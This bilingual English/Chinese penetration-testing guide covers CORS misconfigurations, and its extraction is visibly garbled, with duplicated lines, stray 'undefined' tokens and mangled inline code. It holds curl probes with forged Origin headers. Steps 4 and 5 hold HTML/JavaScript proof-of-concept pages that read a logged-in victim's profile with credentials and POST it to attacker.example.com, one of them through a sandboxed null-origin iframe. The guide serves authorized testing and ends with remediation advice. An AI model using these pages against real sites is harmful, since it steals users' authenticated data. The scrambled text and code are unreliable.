testing-cors-misconfiguration
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseTesting CORS Misconfiguration
CORS配置错误测试
When to Use
使用场景
- During authorized penetration tests when assessing API endpoints for cross-origin access controls
- When testing single-page applications that make cross-origin API requests
- For evaluating whether sensitive data can be exfiltrated from a victim's browser session
- When assessing microservice architectures with multiple domains sharing data
- During security audits of applications using CORS headers for cross-domain communication
- 在授权的渗透测试中,评估API端点的跨源访问控制时
- 测试发出跨源API请求的单页应用时
- 评估敏感数据是否可以从受害者的浏览器会话中泄露时
- 评估多个域共享数据的微服务架构时
- 对使用CORS头进行跨域通信的应用进行安全审计时
Prerequisites
前置条件
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: For intercepting and modifying Origin headers
- Browser with DevTools: For observing CORS behavior in real browser context
- Attacker web server: For hosting CORS exploitation PoC pages
- curl: For manual CORS header testing
- Python HTTP server: For hosting exploit pages locally
- 授权:针对目标的书面渗透测试协议
- Burp Suite Professional:用于拦截和修改Origin头
- 带DevTools的浏览器:用于在真实浏览器环境中观察CORS行为
- 攻击者Web服务器:用于托管CORS利用PoC页面
- curl:用于手动测试CORS头
- Python HTTP服务器:用于在本地托管利用页面
Workflow
测试流程
Step 1: Identify CORS Configuration on Target Endpoints
步骤1:识别目标端点的CORS配置
Check all API endpoints for CORS response headers.
bash
undefined检查所有API端点的CORS响应头。
bash
undefinedTest with a foreign Origin header
Test with a foreign Origin header
Check for CORS headers in response:
Check for CORS headers in response:
Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
Access-Control-Allow-Origin: * (BAD if with credentials)
Access-Control-Allow-Origin: * (BAD if with credentials)
Access-Control-Allow-Credentials: true (allows cookies)
Access-Control-Allow-Credentials: true (allows cookies)
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Expose-Headers: X-Custom-Header
Access-Control-Expose-Headers: X-Custom-Header
Test multiple endpoints
Test multiple endpoints
for endpoint in /api/user/profile /api/user/settings /api/transactions
/api/admin/users /api/account/balance; do echo "=== $endpoint ===" curl -s -I
-H "Origin: https://evil.example.com"
"https://api.target.example.com$endpoint" |
grep -i "access-control" echo done
/api/admin/users /api/account/balance; do echo "=== $endpoint ===" curl -s -I
-H "Origin: https://evil.example.com"
"https://api.target.example.com$endpoint" |
grep -i "access-control" echo done
undefinedfor endpoint in /api/user/profile /api/user/settings /api/transactions
/api/admin/users /api/account/balance; do echo "=== $endpoint ===" curl -s -I
-H "Origin: https://evil.example.com"
"https://api.target.example.com$endpoint" |
grep -i "access-control" echo done
/api/admin/users /api/account/balance; do echo "=== $endpoint ===" curl -s -I
-H "Origin: https://evil.example.com"
"https://api.target.example.com$endpoint" |
grep -i "access-control" echo done
undefinedStep 2: Test Origin Reflection and Validation Bypass
步骤2:测试Origin反射与验证绕过
Determine how the server validates the Origin header.
bash
undefined确定服务器如何验证Origin头。
bash
undefinedTest 1: Arbitrary origin reflection
Test 1: Arbitrary origin reflection
curl -s -I -H "Origin: https://evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
Test 2: Null origin
Test 2: Null origin
curl -s -I -H "Origin: null"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: null"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
Test 3: Subdomain matching bypass
Test 3: Subdomain matching bypass
curl -s -I -H "Origin: https://evil.target.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://evil.target.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
Test 4: Prefix/suffix matching bypass
Test 4: Prefix/suffix matching bypass
curl -s -I -H "Origin: https://target.example.com.evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://target.example.com.evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
Test 5: Protocol downgrade
Test 5: Protocol downgrade
curl -s -I -H "Origin: http://target.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: http://target.example.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
Test 6: Special characters in origin
Test 6: Special characters in origin
curl -s -I -H "Origin: https://target.example.com%60.evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://target.example.com%60.evil.com"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
Test 7: Wildcard with credentials check
Test 7: Wildcard with credentials check
curl -s -I -H "Origin: https://evil.com"
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
curl -s -I -H "Origin: https://evil.com"
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure
Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure
undefinedundefinedStep 3: Test Preflight Request Handling
步骤3:测试预检请求处理
Assess how the server handles OPTIONS preflight requests.
bash
undefined评估服务器如何处理OPTIONS预检请求。
bash
undefinedSend preflight request
Send preflight request
curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: PUT"
-H "Access-Control-Request-Headers: Authorization, Content-Type"
"https://api.target.example.com/api/user/profile"
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: PUT"
-H "Access-Control-Request-Headers: Authorization, Content-Type"
"https://api.target.example.com/api/user/profile"
curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: PUT"
-H "Access-Control-Request-Headers: Authorization, Content-Type"
"https://api.target.example.com/api/user/profile"
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: PUT"
-H "Access-Control-Request-Headers: Authorization, Content-Type"
"https://api.target.example.com/api/user/profile"
Check:
Check:
Access-Control-Allow-Methods: should only list needed methods
Access-Control-Allow-Methods: should only list needed methods
Access-Control-Allow-Headers: should only list needed headers
Access-Control-Allow-Headers: should only list needed headers
Access-Control-Max-Age: preflight cache duration (long = risky)
Access-Control-Max-Age: preflight cache duration (long = risky)
Test if dangerous methods are allowed
Test if dangerous methods are allowed
curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: DELETE"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-methods"
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: DELETE"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-methods"
curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: DELETE"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-methods"
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: DELETE"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-methods"
Test if preflight is cached too long
Test if preflight is cached too long
curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: GET"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-max-age"
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: GET"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-max-age"
curl -s -I -X OPTIONS
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: GET"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-max-age"
-H "Origin: https://evil.example.com"
-H "Access-Control-Request-Method: GET"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-max-age"
max-age > 86400 (1 day) allows prolonged abuse after policy change
max-age > 86400 (1 day) allows prolonged abuse after policy change
undefinedundefinedStep 4: Craft CORS Exploitation Proof of Concept
步骤4:编写CORS利用验证性代码(PoC)
Build an HTML page that exploits the CORS misconfiguration to steal data.
html
<!-- cors-exploit.html - Host on attacker server -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Data successfully stolen cross-origin
document.getElementById('result').innerText = xhr.responseText;
// Exfiltrate to attacker server
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true; // Include victim's cookies
xhr.send();
</script>
</body>
</html>html
<!-- Exploit using fetch API -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('Stolen data:', data);
});
</script>构建一个HTML页面,利用CORS配置错误窃取数据。
html
<!-- cors-exploit.html - Host on attacker server -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Data successfully stolen cross-origin
document.getElementById('result').innerText = xhr.responseText;
// Exfiltrate to attacker server
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true; // Include victim's cookies
xhr.send();
</script>
</body>
</html>html
<!-- Exploit using fetch API -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('Stolen data:', data);
});
</script>Step 5: Exploit Null Origin Vulnerability
步骤5:利用Null Origin漏洞
If is allowed, exploit via sandboxed iframes.
Origin: nullhtml
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<!--
Sandboxed iframe sends requests with Origin: null
If server reflects Access-Control-Allow-Origin: null with credentials,
data can be exfiltrated
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Send stolen data to parent or attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
<!-- Alternative: data: URI for null origin -->
<!-- Open in browser: data:text/html,<script>...</script> -->如果允许,通过沙箱iframe进行利用。
Origin: nullhtml
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<!--
Sandboxed iframe sends requests with Origin: null
If server reflects Access-Control-Allow-Origin: null with credentials,
data can be exfiltrated
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Send stolen data to parent or attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
<!-- Alternative: data: URI for null origin -->
<!-- Open in browser: data:text/html,<script>...</script> -->Step 6: Test for Internal Network Access via CORS
步骤6:测试通过CORS访问内部网络
Check if CORS allows access from internal origins that could be leveraged via XSS.
bash
undefined检查CORS是否允许来自内部源的访问,此类访问可通过XSS加以利用。
bash
undefinedTest internal/development origins
Test internal/development origins
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-origin" | tr -d '\r' echo done
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-origin" | tr -d '\r' echo done
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin"
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-origin" | tr -d '\r' echo done
"https://api.target.example.com/api/user/profile" |
grep -i "access-control-allow-origin" | tr -d '\r' echo done
If internal origins are allowed and have XSS:
If internal origins are allowed and have XSS:
1. Find XSS on http://subdomain.target.example.com
1. Find XSS on http://subdomain.target.example.com
2. Use XSS to make CORS request to api.target.example.com
2. Use XSS to make CORS request to api.target.example.com
3. Exfiltrate data via the XSS + CORS chain
3. Exfiltrate data via the XSS + CORS chain
undefinedundefinedKey Concepts
核心概念
| Concept | Description |
|---|---|
| Same-Origin Policy | Browser security model preventing scripts from one origin accessing data from another |
| CORS | Mechanism allowing servers to specify which origins can access their resources |
| Origin Reflection | Server mirrors the request Origin header in the ACAO response header (dangerous) |
| Null Origin | Special origin value from sandboxed iframes, data URIs, and redirects |
| Preflight Request | OPTIONS request sent before certain cross-origin requests to check permissions |
| Credentialed Requests | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |
| Wildcard CORS | |
| 概念 | 描述 |
|---|---|
| Same-Origin Policy | 浏览器安全模型,阻止来自一个源的脚本访问另一个源的数据 |
| CORS | 允许服务器指定哪些源可以访问其资源的机制 |
| Origin Reflection | 服务器在ACAO响应头中镜像请求的Origin头(存在风险) |
| Null Origin | 来自沙箱iframe、data URI和重定向的特殊源值 |
| Preflight Request | 在某些跨源请求之前发送的OPTIONS请求,用于检查权限 |
| Credentialed Requests | 包含Cookie的跨源请求,需要明确的ACAO + ACAC头 |
| Wildcard CORS | |
Tools & Systems
工具与系统
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercepting requests and modifying Origin headers |
| CORScanner | Automated CORS misconfiguration scanner ( |
| cors-scanner | Node.js-based CORS testing tool |
| Browser DevTools | Monitoring CORS errors and network requests in real browser context |
| Python http.server | Hosting CORS exploit PoC pages |
| OWASP ZAP | Automated CORS misconfiguration detection |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 拦截请求并修改Origin头 |
| CORScanner | 自动化CORS配置错误扫描器( |
| cors-scanner | 基于Node.js的CORS测试工具 |
| Browser DevTools | 在真实浏览器环境中监控CORS错误和网络请求 |
| Python http.server | 托管CORS利用PoC页面 |
| OWASP ZAP | 自动化检测CORS配置错误 |
Common Scenarios
常见场景
Scenario 1: Full Origin Reflection
场景1:完全Origin反射
The API reflects any Origin header in with . Any website can read authenticated API responses, stealing user data.
Access-Control-Allow-OriginAccess-Control-Allow-Credentials: trueAPI会在中反射任意Origin头,同时设置。任何网站都可以读取经过身份验证的API响应,窃取用户数据。
Access-Control-Allow-OriginAccess-Control-Allow-Credentials: trueScenario 2: Null Origin Allowed
场景2:允许Null Origin
The server allows with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.
Origin: null服务器允许携带凭证的。攻击者页面通过沙箱iframe发送带凭证的请求到API,并读取响应数据。
Origin: nullScenario 3: Subdomain Wildcard Trust
场景3:信任子域通配符
The CORS policy allows . An attacker finds XSS on and uses it to make cross-origin requests to , stealing user data through the trusted subdomain.
*.target.example.comforum.target.example.comapi.target.example.comCORS策略允许。攻击者在上发现XSS漏洞,利用该漏洞向发起跨源请求,通过受信任的子域窃取用户数据。
*.target.example.comforum.target.example.comapi.target.example.comScenario 4: Regex Bypass on Origin Validation
场景4:Origin验证的正则绕过
The server uses regex to validate origins, but fails to anchor the regex. matches and is allowed access.
target\.example\.comattackertarget.example.com服务器使用正则验证源,但未锚定正则。会匹配该正则并被允许访问。
target\.example\.comattackertarget.example.comOutput Format
输出格式
undefinedundefinedCORS Misconfiguration Finding
CORS Misconfiguration Finding
Vulnerability: CORS Origin Reflection with Credentials
Severity: High (CVSS 8.1)
Location: All /api/* endpoints on api.target.example.com
OWASP Category: A01:2021 - Broken Access Control
Vulnerability: CORS Origin Reflection with Credentials
Severity: High (CVSS 8.1)
Location: All /api/* endpoints on api.target.example.com
OWASP Category: A01:2021 - Broken Access Control
CORS Configuration Observed
CORS Configuration Observed
| Header | Value |
|---|---|
| Access-Control-Allow-Origin | [Reflects request Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
| Header | Value |
|---|---|
| Access-Control-Allow-Origin | [Reflects request Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
Origin Validation Results
Origin Validation Results
| Origin Tested | Reflected | Credentials |
|---|---|---|
| https://evil.com | Yes | Yes |
| null | Yes | Yes |
| http://localhost | Yes | Yes |
| https://evil.target.example.com | Yes | Yes |
| Origin Tested | Reflected | Credentials |
|---|---|---|
| https://evil.com | Yes | Yes |
| null | Yes | Yes |
| http://localhost | Yes | Yes |
| https://evil.target.example.com | Yes | Yes |
Impact
Impact
- Any website can read authenticated API responses in victim's browser
- User profile data (email, phone, address) exfiltrable
- Session tokens exposed via X-Auth-Token header
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
- Any website can read authenticated API responses in victim's browser
- User profile data (email, phone, address) exfiltrable
- Session tokens exposed via X-Auth-Token header
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
Recommendation
Recommendation
- Implement a strict allowlist of trusted origins
- Never reflect arbitrary Origin values in Access-Control-Allow-Origin
- Do not allow Origin: null with credentials
- Validate origins with exact string matching, not regex substring matching
- Set Access-Control-Max-Age to a reasonable value (600 seconds)
undefined- Implement a strict allowlist of trusted origins
- Never reflect arbitrary Origin values in Access-Control-Allow-Origin
- Do not allow Origin: null with credentials
- Validate origins with exact string matching, not regex substring matching
- Set Access-Control-Max-Age to a reasonable value (600 seconds)
undefined